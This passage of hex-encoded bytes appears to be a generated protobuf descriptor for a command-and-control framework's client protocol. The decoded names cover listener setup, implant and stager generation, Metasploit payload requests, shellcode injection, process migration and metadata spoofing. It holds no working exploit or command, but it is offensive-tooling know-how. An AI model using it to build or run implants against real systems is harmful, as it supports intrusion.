0x69, 0x72, 0x65, 0x47, 0x75, 0x61, 0x72, + 0x64, 0x22, 0x39, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x7d, 0x0a, 0x0d, + 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x22, 0x8e, 0x01, 0x0a, 0x0e, + 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, + 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, + 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0xd5, 0x02, 0x0a, + 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, + 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, + 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, + 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, + 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, + 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, + 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, + 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, + 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, + 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, + 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, + 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, + 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, + 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, + 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, + 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, + 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, + 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, + 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x52, 0x0a, 0x0b, + 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x22, 0x8c, 0x02, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, + 0x74, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x41, 0x45, 0x53, 0x45, + 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x45, 0x53, + 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, 0x76, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0c, 0x41, 0x45, 0x53, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x49, 0x76, 0x12, 0x24, 0x0a, + 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, 0x4b, 0x65, 0x79, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x43, 0x34, 0x45, 0x6e, 0x63, 0x72, 0x79, 0x70, 0x74, + 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, 0x6e, 0x64, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x50, 0x72, 0x65, 0x70, 0x65, 0x6e, + 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, + 0x73, 0x46, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x46, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x22, + 0x78, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, + 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x12, + 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x22, 0xc9, 0x01, 0x0a, 0x18, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x20, + 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x1e, 0x0a, 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, + 0x12, 0x43, 0x0a, 0x0d, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0d, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, + 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, + 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, + 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, + 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, + 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, + 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, + 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa6, 0x01, + 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, + 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, + 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, + 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xa8, 0x01, 0x0a, 0x0c, + 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, + 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, + 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 